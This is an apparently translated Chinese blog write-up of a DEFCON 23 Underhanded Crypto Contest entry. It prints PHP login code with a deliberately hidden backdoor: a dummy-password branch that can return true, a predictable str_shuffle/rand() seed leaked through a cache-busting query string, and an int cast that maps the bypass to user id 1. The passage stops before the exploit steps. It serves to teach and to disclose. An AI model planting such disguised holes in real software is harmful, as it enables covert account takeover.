通俗地說,“后門”通常是計算機犯罪分子在首次攻陷系統之后留下的一個程序代碼,以便于將來再次訪問該系統。
但是,后門還可以是故意安插在軟件項目中的安全漏洞,以便于攻擊者將來通過它來控制你的系統。下面,我們就專門來討論一下第二種情形。
本文將涉及許多具體代碼,如果乍看看不明白也不要緊,可以直接跳過,我會隨后對其進行詳盡的介紹。
繼“卑鄙C程序大賽”之后,從2015開始,Defcon黑客大會又推出了“卑鄙密碼競賽”,以尋找和備案那些能夠巧妙地顛覆加密代碼的最好方法。在DEFCON 23大會上進行了兩項賽事:
我參加了第二項賽事,并最終獲勝。 在本文中,我將介紹自己參賽作品的運行機制,如何讓干邪惡勾當的代碼看上去道貌岸然,以及這些對軟件開發的直接影響。
首先,我們假設政府工作人員發現了本博主,并希望雇傭我去實現一個后門。
第一步:杜撰一個非常棒的封面故事。
就在DEFCON 23開會之前,密碼專家Scott Contini剛剛發布了一篇介紹時序邊信道攻擊枚舉用戶帳戶的文章,其工作原理如下所示:
站在攻擊者的角度來看,令第二個步驟失效要比讓第三個步驟失效更能節約時間。如這樣做的話,即使其他部分牢不可破,攻擊者仍然可以發送成批的請求來找出有效的用戶名。
時序泄漏實際上就是后門的一座金礦,因為大部分程序員都不了解這一安全概念,而理解這一概念的信息安全專家又不是程序員。即使你編寫的與加密有關的代碼安全性非常差,大部分開發人員也不會看出什么門道,因為他們知道的并不比你更多。但如果我們這樣做的話,比賽就會很無聊。
到目前為止,我們的總體規劃是這樣的:
第二步:設計階段
下面是TimingSafeAuth類的完整代碼:
#!php
<?php
/**
* A password_* wrapper that is proactively secure against user enumeration from
* the timing difference between a valid user (which runs through the
* password_verify() function) and an invalid user (which does not).
*/
class TimingSafeAuth
{
private $db;
public function __construct(\PDO $db)
{
$this->db = $db;
$this->dummy_pw = password_hash(noise(), PASSWORD_DEFAULT);
}
/**
* Authenticate a user without leaking valid usernames through timing
* side-channels
*
* @param string $username
* @param string $password
* @return int|false
*/
public function authenticate($username, $password)
{
$stmt = $this->db->prepare("SELECT * FROM users WHERE username = :username");
if ($stmt->execute(['username' => $username])) {
$row = $stmt->fetch(\PDO::FETCH_ASSOC);
// Valid username
if (password_verify($password, $row['password'])) {
return $row['userid'];
}
return false;
} else {
// Returns false
return password_verify($password, $this->dummy_pw);
}
}
}
當timingsafeauth類被實例化時,它會創建一個啞口令(dummy password) ,這是由于調用函數noise()(它改編自anchorcms,定義如下)所致:
#!php
/**
* Generate a random string with our specific charset, which conforms to the
* RFC 4648 standard for BASE32 encoding.
*
* @return string
*/
function noise()
{
return substr(
str_shuffle(str_repeat('abcdefghijklmnopqrstuvwxyz234567', 16)),
0,
32
);
}
一定要記住這個noise()函數,因為它是后門的關鍵所在。
當我們實例化了所有登錄腳本都需要的timingsafeauth對象之后,它最終會將一個用戶名和密碼傳遞給timingsafeauth -> authenticate(),這將執行一個數據庫查詢,然后執行下面兩件事之一:
password_verify()
函數。password_verify()
。由于$->dummy_pw
是隨機生成的字符串的bcrypt哈希值,因此,我們總是希望上面的第二種選擇失敗而返回false,但這個過程總是需要花費大約相同的時間(從而隱藏時序側信道),對嗎?
好吧,最大的謊言就藏在這里:
#!php
// Returns false
return password_verify($password, $this->dummy_pw);
當然這個函數并不會總是返回false值,如果攻擊者猜到了$this->dummy_pw里面的“啞口令”的話,它就能夠返回true值了。正確的實現如下所示:
#!php
password_verify($password, $this->dummy_pw);
return false;
讓我們假設審計人員在沒有明確證據面前會對這段代碼作出無罪推定。“如果我的啞口令是硬編碼的話,肯定會引起別人的關注,但是這里它是隨機生成的,因此它總能夠避免引起別人的懷疑,對吧?”
不! 因為從密碼學的角度來看,str_shuffle()
函數算不上安全的偽隨機數發生器。要理解這一點,我們必須來考察一下str_shuffle()
函數的PHP實現代碼:
#!php
static void php_string_shuffle(char *str, zend_long len) /* {{{ */
{
zend_long n_elems, rnd_idx, n_left;
char temp;
/* The implementation is stolen from array_data_shuffle */
/* Thus the characteristics of the randomization are the same */
n_elems = len;
if (n_elems <= 1) {
return;
}
n_left = n_elems;
while (--n_left) {
rnd_idx = php_rand();
RAND_RANGE(rnd_idx, 0, n_left, PHP_RAND_MAX);
if (rnd_idx != n_left) {
temp = str[n_left];
str[n_left] = str[rnd_idx];
str[rnd_idx] = temp;
}
}
}
你注意到rnd_idx = php_rand();
這一行了嗎? 對于rand(),是一個常見的線性同余隨機數生成器,重要的是這種類型的隨機數生成器是可破解的,具體可以參考https://stackoverflow.com/a/15494343/2224584。
下面我們簡單的回顧一下:
? 如果你猜中了啞口令,那么函數TimingSafeAuth->authenticate()就會返回true。 ? 這個啞口令是由一個不安全的,并且是可預測的隨機數生成器生成的,這個隨機數生成器取自一個現實中的PHP項目。 ? 只有那些非常熟悉密碼學以及精通PHP的開發人員才會意識到這里隱藏的危險。
這個是有用的,但沒有多少可利用性。在接下來的實現階段,我們就會把這個故意設計的安全漏洞安插到我們的代碼之中。
第三步:實現后門
我們的登錄表單大致如下所示:
#!php
<?php
# This is all just preamble stuff, ignore it.
require_once dirname(__DIR__).'/autoload.php';
$pdo = new \PDO('sqlite:'. dirname(__DIR__) . '/database.sql');
session_start();
# Start here
if (!isset($_SESSION['userid'])) {
# If you aren't currently logged in...
if (!empty($_POST['csrf']) && !empty($_COOKIE['csrf'])) {
# If you sent a CSRF token in the POST form data and a CSRF cookie
if (hash_equals($_POST['csrf'], $_COOKIE['csrf'])) {
# And they match (compared in constant time!), proceed
$auth = new TimingSafeAuth($pdo);
# Pass the given username and password to the authenticate() method.
$userid = (int) $auth->authenticate($_POST['username'], $_POST['password']);
# Take note of the type cast to (int).
if ($userid) {
// Success!
$_SESSION['userid'] = $userid;
header("Location: /");
exit;
}
}
}
# This is the login form:
require_once dirname(__DIR__).'/secret/login_form.php';
} else {
# This is where you want to be:
require_once dirname(__DIR__).'/secret/login_successful.php';
}
現在,我們來看最后一個代碼塊(login_form_.PHP
,該代碼用來給未授權的用戶生成登錄表單):
#!php
<?php
if (!isset($_COOKIE['csrf'])) {
# Remember this?
$csrf = noise();
setcookie('csrf', $csrf);
} else {
$csrf = $_COOKIE['csrf'];
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Log In</title>
<!-- # Below: We leak rand(); but that's totally benign, right? -->
<link rel="stylesheet" href="/style.css?<?=rand(); ?>" type="text/css" /><?php /* cache-busting random query string */ ?>
</head>
<body>
<form method="post" action="/">
<input type="hidden" name="csrf" value="<?=htmlentities($csrf, ENT_QUOTES | ENT_HTML5, 'UTF-8'); ?>" />
<table>
<tr>
<td>
<fieldset>
<legend>Username</legend>
<input type="text" name="username" required="required" />
</fieldset>
</td>
<td>
<fieldset>
<legend>Password</legend>
<input type="password" name="password" required="required" />
</fieldset>
</td>
</tr>
<tr>
<td colsan="2">
<button type="submit">
Log In
</button>
</td>
</tr>
</table>
</form>
</body>
</html>
這段代碼主要就是生成一個完全正常的口令表單。它還包括基本的CSRF保護措施,也是由noise()來實現的。 每當你加載沒有cookie的頁面時,它都會由noise()生成的輸出來作為一個新的CSRF cookie。
當然單靠這些我們就可以找出隨機數生成程序的種子值并預測出啞口令,但是,我們還可以進一步通過樣式查詢字符串來泄露rand()的輸出。 實際上,這個新的CSRF cookie對于在無需失敗的登錄嘗試的條件下來判斷noise()的預測是否成功非常有用。
你有沒有注意到$userid = (int) $auth->authenticate($_POST['username'], $_POST['password']);
這一行代碼呢? 它實際上就是我們后門中的另一行代碼。當轉換為整數的時候,PHP就會把true的值設置為1。在Web應用中,用戶標識符取值較低的,通常都與管理賬戶有關。
將上面的所有信息綜合起來,你就會發現實際上利用方法非常簡單: